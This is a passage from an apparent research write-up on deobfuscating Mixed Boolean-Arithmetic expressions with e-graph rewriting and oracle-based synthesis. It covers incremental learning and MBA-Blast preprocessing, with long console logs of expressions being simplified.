Synthesized (cost = 473): ((((((((((((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94)-((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e))+(((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94))*0x67)+0xd)*0x2d)+((((((((((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94)-((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e))+(((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94))*0x67)+0xd)*0xae)|0x22)*0xe5))+0xc2)-0xf7)*0xed)
====================================================================================================
eclasses #: 257
Synthesized (cost = 51): ((((((((((((x^0x26)&0x94)*0x67)*0xae)+(-(x^0x26)))*0x67)+0xd)*0x2d)+((((((((((x^0x26)&0x94)*0x67)*0xae)+(-(x^0x26)))*0x67)+0xd)*0xae)|0x22)*0xe5))+0xc2)-0xf7)*0xed)
====================================================================================================
eclasses #: 687
Synthesized (cost = 5): ((x^0x26)^0x7a)
====================================================================================================
eclasses #: 3473
Synthesized (cost = 5): ((x^0x26)^0x7a)
====================================================================================================
eclasses #: 50943
Synthesized (cost = 3): (0x5c^x)
e-graph reset done.
====================================================================================================
Simplified via default term rewriting
python3 synth.py
eclasses #: 84
Input (cost = 1979): ((((((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*0x2d)+(((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*(-0x52))|0x22)*(-0x1b)))+(-0x3e))-(-0x9))*(-0x13))&(-0x1))
====================================================================================================
eclasses #: 132
Synthesized (cost = 473): ((((((((((((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94)-((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e))+(((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94))*0x67)+0xd)*0x2d)+((((((((((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94)-((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e))+(((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94))*0x67)+0xd)*0xae)|0x22)*0xe5))+0xc2)-0xf7)*0xed)
====================================================================================================
eclasses #: 252
Synthesized (cost = 219): (((((((((((((((((((((x+x)&0x46)*0x4b)*0x3a)+((0x2*(~(-x)))+0xde))+0xbc)+0xaf)&0xf4)+((((x+x)&0x46)+(((((0x7f+x)*0x3)+0x4d)*0xe7)*0x63))+0xa2))+0x2e)&0x94)*0x67)*0xae)+(-((((((((((x+x)&0x46)*0x4b)*0x3a)+((0x2*(~(-x)))+0xde))+0xbc)+0xaf)&0xf4)+((((x+x)&0x46)+(((((0x7f+x)*0x3)+0x4d)*0xe7)*0x63))+0xa2))+0x2e)))*0x67)+0xd)*0x2d)+(((((((((((((((((((x+x)&0x46)*0x4b)*0x3a)+((0x2*(~(-x)))+0xde))+0xbc)+0xaf)&0xf4)+((((x+x)&0x46)+(((((0x7f+x)*0x3)+0x4d)*0xe7)*0x63))+0xa2))+0x2e)&0x94)*0x67)*0xae)+(-((((((((((x+x)&0x46)*0x4b)*0x3a)+((0x2*(~(-x)))+0xde))+0xbc)+0xaf)&0xf4)+((((x+x)&0x46)+(((((0x7f+x)*0x3)+0x4d)*0xe7)*0x63))+0xa2))+0x2e)))*0x67)+0xd)*0xae)|0x22)*0xe5))+0xc2)-0xf7)*0xed)
====================================================================================================
eclasses #: 650
Synthesized (cost = 181): ((((0xb+(0x1b*((0x2*((((((((0xf1+(0xb5*(0x7f+x)))+(((x+x)&0x46)*0x4b))*0x3a)+0xaf)&0xf4)+(((0xf1+(0xb5*(0x7f+x)))*0x63)+((x+x)&0x46)))+0x2e)&0x94))+(0xd2-((((((0xf1+(0xb5*(0x7f+x)))+(((x+x)&0x46)*0x4b))*0x3a)+0xaf)&0xf4)+(((0xf1+(0xb5*(0x7f+x)))*0x63)+((x+x)&0x46)))))))*0xed)+(((0x2*((0x2*((((((((0xf1+(0xb5*(0x7f+x)))+(((x+x)&0x46)*0x4b))*0x3a)+0xaf)&0xf4)+(((0xf1+(0xb5*(0x7f+x)))*0x63)+((x+x)&0x46)))+0x2e)&0x94))+(0xd2-((((((0xf1+(0xb5*(0x7f+x)))+(((x+x)&0x46)*0x4b))*0x3a)+0xaf)&0xf4)+(((0xf1+(0xb5*(0x7f+x)))*0x63)+((x+x)&0x46))))))+0xd6)|0x22))+0x55)
====================================================================================================
eclasses #: 3256
Synthesized (cost = 14): (((((x+x)&0x46)+(~(x+0xed)))+0x1)+0x49)
====================================================================================================
eclasses #: 48747
Synthesized (cost = 11): ((((x+x)&0x46)+(0x80-x))+0xdc)
e-graph reset done.
====================================================================================================
eclasses #: 17
Synthesized (cost = 11): ((((x+x)&0x46)+(0x80-x))+0xdc)
====================================================================================================
eclasses #: 28
Synthesized (cost = 11): ((((x+x)&0x46)+(0x80-x))+0xdc)
====================================================================================================
eclasses #: 51
Synthesized (cost = 10): ((0x5c+(-x))+((x+x)&0x46))
====================================================================================================
eclasses #: 87
Synthesized (cost = 9): ((0x5c+((x+x)&0x46))-x)
====================================================================================================

Incremental Learning

Investigating the idea of reducing the amount of wasted information led to a concept resembling an incremental learning technique. In fact, during the synthesis phase, new knowledge is normally generated and discarded, while we could instead put it to good use. This new information can be divided into:

  • Coming from a sub-expression that can be synthesized, namely: the computed oracle key, the processed e-class and its simplified representation;
  • Coming from a sub-expression that cannot be synthesized, namely: the computed oracle key, that turned out to be missing from the oracle, and the processed e-class.

Both cases provide valuable knowledge that can be inserted into the e-graph, incrementally improving the results:

  • In the former case, the synthesized representation of the node can be inserted into the e-graph, obtaining a new e-class to be merged with the original e-class. This will provide the e-graph with the best representation for that e-class and additional e-nodes to be e-matched, potentially leading to more synthesis opportunities;
  • In the latter case, all the e-classes that resulted into the computation of the same oracle key can be merged into a single e-class, reducing the total amount of e-classes and enforcing a best representation to be used during the extraction phase.

The following example shows how repurposing the runtime information leads to a smaller result with fewer e-classes in less iterations.

With incremental learning
python3 synth.py
eclasses #: 18
Input (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 23
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 27
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 48
Synthesized (cost = 20): (((-((~x)+(x^y)))+(((x&y)*0x3)+0x1))-(x|(~y)))
====================================================================================================
eclasses #: 108
Synthesized (cost = 18): (((-(((~x)&y)-0x1))+(((x&y)*0x3)+0x1))-(~y))
====================================================================================================
eclasses #: 294
Synthesized (cost = 13): ((((x&y)+0x2)+((x&y)*0x3))+0x1)
====================================================================================================
eclasses #: 947
Synthesized (cost = 11): (((x&y)+0x3)+((x&y)*0x3))
====================================================================================================
eclasses #: 5786
Synthesized (cost = 7): ((0x4*(x&y))+0x3)
====================================================================================================
Without incremental learning
python3 synth.py
eclasses #: 18
Input (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 23
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 30
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 50
Synthesized (cost = 20): (((-((~x)+(x^y)))+(0x1+((x&y)*0x3)))-(x|(~y)))
====================================================================================================
eclasses #: 112
Synthesized (cost = 18): (((-((~x)+(x|y)))+(0x1+((x&y)*0x3)))-(~y))
====================================================================================================
eclasses #: 364
Synthesized (cost = 15): (((-(~(x&y)))+(0x1+((x&y)*0x3)))+0x1)
====================================================================================================
eclasses #: 1354
Synthesized (cost = 13): (((x&y)+(0x2+((x&y)*0x3)))+0x1)
====================================================================================================
eclasses #: 6358
Synthesized (cost = 11): ((x&y)+(0x3+((x&y)*0x3)))
====================================================================================================

Expression Preprocessing

There are cases in which preprocessing the input expression may increase the probability of achieving good synthesis results. In the proof of concept, two preprocessing steps have been included: First, a simplified implementation of MBA-Blast to shrink and normalize linear sub-expressions; then, a pass which converts multiplications by a small constant into sequences of additions, increasing the chance for the associativity rewriting to match synthesizable sub-expressions.

MBA-Blast Normalization

The open-source implementation of MBA-Blast currently does not not handle the processing of linear sub-expressions in non-linear or polynomial input forms. Further, it also does not implement the common sub-expression elimination idea proposed in the original publication. In our proof of concept, the input expression is turned into an AST with detection of common sub-expressions, enabling a transparent handling of the linear parts of a non-linear or polynomial input and attempting a layered elimination of common terms.

The base selection plays an important role in how effective the algebraic simplifications will be and if the layered elimination will be possible at all. In fact, it is currently unknown if there is an optimal way to pick the base given the expression’s properties. Therefore three default basis are provided: TINY (small terms preferred), HUGE (variables and-ed together) and HARD (hardcoded handpicked base).

Multiplication Explosion

This preprocessing step is an attempt to increase the amount of commutativity and associativity rewriting opportunities, hoping for some of those to cancel out sub-terms or turn them into synthesizable nodes. The explosion is currently being limited to small multiplicative constants. Usually this is fine, as the selected coefficients for in-the-wild MBA expressions are small, even though nothing would exclude the artificial usage of big coefficients, ruling this step out altogether.

Evaluation

The following tests showcase linear, non-linear and polynomial MBA expressions obtained from NeuReduce, MBA-Obfuscator, QSynthesis and own implementations of the first (rewriting) and third (encoding) theorems from the original Zhou et al. publications. Additionally, the selected expressions are only partially handled by the standard QSynthesis implementation.

Linear MBA with one 8 bits variable and one 8 bits constant
python3 synth.py --use-constants-harvest
eclasses #: 10
Input (cost = 13): (((x|0x10)-((~x)&0x10))-(x&(-0x11)))
====================================================================================================
eclasses #: 14
Synthesized (cost = 5): (x-(x&0xef))
====================================================================================================
eclasses #: 22
Synthesized (cost = 3): (x&0x10)
====================================================================================================
Linear MBA with five 8 bits variables
python3 synth.py
eclasses #: 47
Input (cost = 75): ((((((((((((-((x^y)*0x4))-((~y)|(~z)))+(((~x)|(~y))*0x4))-((x|((~y)&z))*0x5))+(((~x)&(y|z))*0x3))+(x*0x7))-((((~x)|y)|z)*0x2))-((x^y)|(~z)))+(a&(~b)))-(~(a|b)))+((~a)|b))+0x2)
====================================================================================================
eclasses #: 64
Synthesized (cost = 24): (((a-((~((-(y^z))-(x&(y^z))))-(a^b)))+((~a)|b))+0x2)
====================================================================================================
eclasses #: 93
Synthesized (cost = 24): (((a-((~((-(y^z))-(x&(y^z))))-(a^b)))+((~a)|b))+0x2)
====================================================================================================
eclasses #: 175
Synthesized (cost = 19): (((0xff+((-(y^z))-(x&(y^z))))-(~(a|b)))+0x2)
====================================================================================================
eclasses #: 501
Synthesized (cost = 16): ((((a|b)-(y^z))+(-(x&(y^z))))+0x2)
====================================================================================================
Non-Linear MBA with four 8 bits variables
python3 synth.py --use-mba-blast-before --mba-blast-logic=2
Original: (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((-((((z&(x^y))&(~w))|((x|(y|z))&w))*-0xfa))-((((z^(x|(y|z)))&(~w))|(((x&(~y))|(y^z))&w))*0x1))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x7))+((((~(y&(~z)))&(~w))|((~(x^((~y)&z)))&w))*0x1))+((x&(y&(z&w)))*0x7))+((x&(y&((~z)&w)))*0x8))+((x&((~y)&((~z)&w)))*0x8))+(((~x)&(y&(z&w)))*0x5))-(((~x)&(y&((~z)&w)))*0x1))-(((~x)&((~y)&((~z)&w)))*0x8))-((~(x|(y|(z|w))))*0x8))-((~(x|(y|((~z)|w))))*0x1))+((~(x|((~y)|(z|w))))*0x1))+((~(x|((~y)|((~z)|w))))*0x5))+((~((~x)|(y|(z|w))))*0x1))+((~((~x)|(y|((~z)|w))))*0x6))+((~((~x)|((~y)|(z|w))))*0x2))-((~((~x)|((~y)|((~z)|w))))*0x7))&y)^(~(((((((((((((((((((-((((z&(x^y))&(~w))|((x|(y|z))&w))*-0xfa))-((((z^(x|(y|z)))&(~w))|(((x&(~y))|(y^z))&w))*0x1))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x7))+((((~(y&(~z)))&(~w))|((~(x^((~y)&z)))&w))*0x1))+((x&(y&(z&w)))*0x7))+((x&(y&((~z)&w)))*0x8))+((x&((~y)&((~z)&w)))*0x8))+(((~x)&(y&(z&w)))*0x5))-(((~x)&(y&((~z)&w)))*0x1))-(((~x)&((~y)&((~z)&w)))*0x8))-((~(x|(y|(z|w))))*0x8))-((~(x|(y|((~z)|w))))*0x1))+((~(x|((~y)|(z|w))))*0x1))+((~(x|((~y)|((~z)|w))))*0x5))+((~((~x)|(y|(z|w))))*0x1))+((~((~x)|(y|((~z)|w))))*0x6))+((~((~x)|((~y)|(z|w))))*0x2))-((~((~x)|((~y)|((~z)|w))))*0x7))^((~y)|z))))&(~w))|((z^(~(((((((((((((((((((-((((z&(x^y))&(~w))|((x|(y|z))&w))*-0xfa))-((((z^(x|(y|z)))&(~w))|(((x&(~y))|(y^z))&w))*0x1))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x7))+((((~(y&(~z)))&(~w))|((~(x^((~y)&z)))&w))*0x1))+((x&(y&(z&w)))*0x7))+((x&(y&((~z)&w)))*0x8))+((x&((~y)&((~z)&w)))*0x8))+(((~x)&(y&(z&w)))*0x5))-(((~x)&(y&((~z)&w)))*0x1))-(((~x)&((~y)&((~z)&w)))*0x8))-((~(x|(y|(z|w))))*0x8))-((~(x|(y|((~z)|w))))*0x1))+((~(x|((~y)|(z|w))))*0x1))+((~(x|((~y)|((~z)|w))))*0x5))+((~((~x)|(y|(z|w))))*0x1))+((~((~x)|(y|((~z)|w))))*0x6))+((~((~x)|((~y)|(z|w))))*0x2))-((~((~x)|((~y)|((~z)|w))))*0x7))|(y&z))))&w))*0x3)+((((y^(~(x&(y&z))))&(~w))|(((x|y)&(~(x^(y^z))))&w))*0x1))-((((y^(~(x&(y&z))))&(~w))|((~(y^z))&w))*0x1))+((((z^(~(x&((~y)|z))))&(~w))|((x&(~z))&w))*0x1))-(((((x&y)|(~(y|z)))&(~w))|(((x&y)|(~(x^(y^z))))&w))*0x3))+((((z&(~(x&y)))&(~w))|((x&y)&w))*0x4))-(((((~(x^y))&(~(x^z)))&(~w))|(((x|y)&(x^(y^z)))&w))*0x1))+((((z^(~(x&((~y)&z))))&(~w))|((y^(x&((~y)|z)))&w))*0x2))-((((x&((~y)|z))&(~w))|(((x&(~y))|(~(y^z)))&w))*0xb))-(((((~(x|y))|(~(x^(y^z))))&(~w))|((~((~x)&(y^z)))&w))*0xb))+(((((x&y)|(y^z))&(~w))|((~(x^((~y)&z)))&w))*0x1))-(((((x&(~y))|(~(y^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x3))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)|(y&(~z)))&w))*0x5))-((((y^(x|(y^z)))&(~w))|(((~(x^y))|(x^z))&w))*0x1))+((((z^(~(x|((~y)&z))))&(~w))|((y^(x|((~y)|z)))&w))*0x2))+((((y|(~(x|(~z))))&(~w))|(((~x)|(y^z))&w))*0xb))-(((((x&(~y))|(y^z))&(~w))|((y&(~(x&(~z))))&w))*0x1))-(((((~(x&y))&(~(x^(y^z))))&(~w))|((z^(x|((~y)&z)))&w))*0x5))+((((y^(~(x&((~y)&z))))&(~w))|((z^(x|y))&w))*0x7))-(((((y&(~z))^((~x)|(y^z)))&(~w))|(((~y)&(~(x^z)))&w))*0x6))+((((z^(x&(~y)))&(~w))|((z^(x&y))&w))*0x1))+((((x|(~z))&(~w))|((x^(y|z))&w))*0x5))+((((~(x&(y|z)))&(~w))|((z&(~(x&y)))&w))*0x1))+((((y^(~((~x)&(y^z))))&(~w))|((y^(~(x&(~z))))&w))*0xb))+((((~(y&z))&(~w))|((x&(y^z))&w))*0x1))-(((((x&y)^(x^((~y)|z)))&(~w))|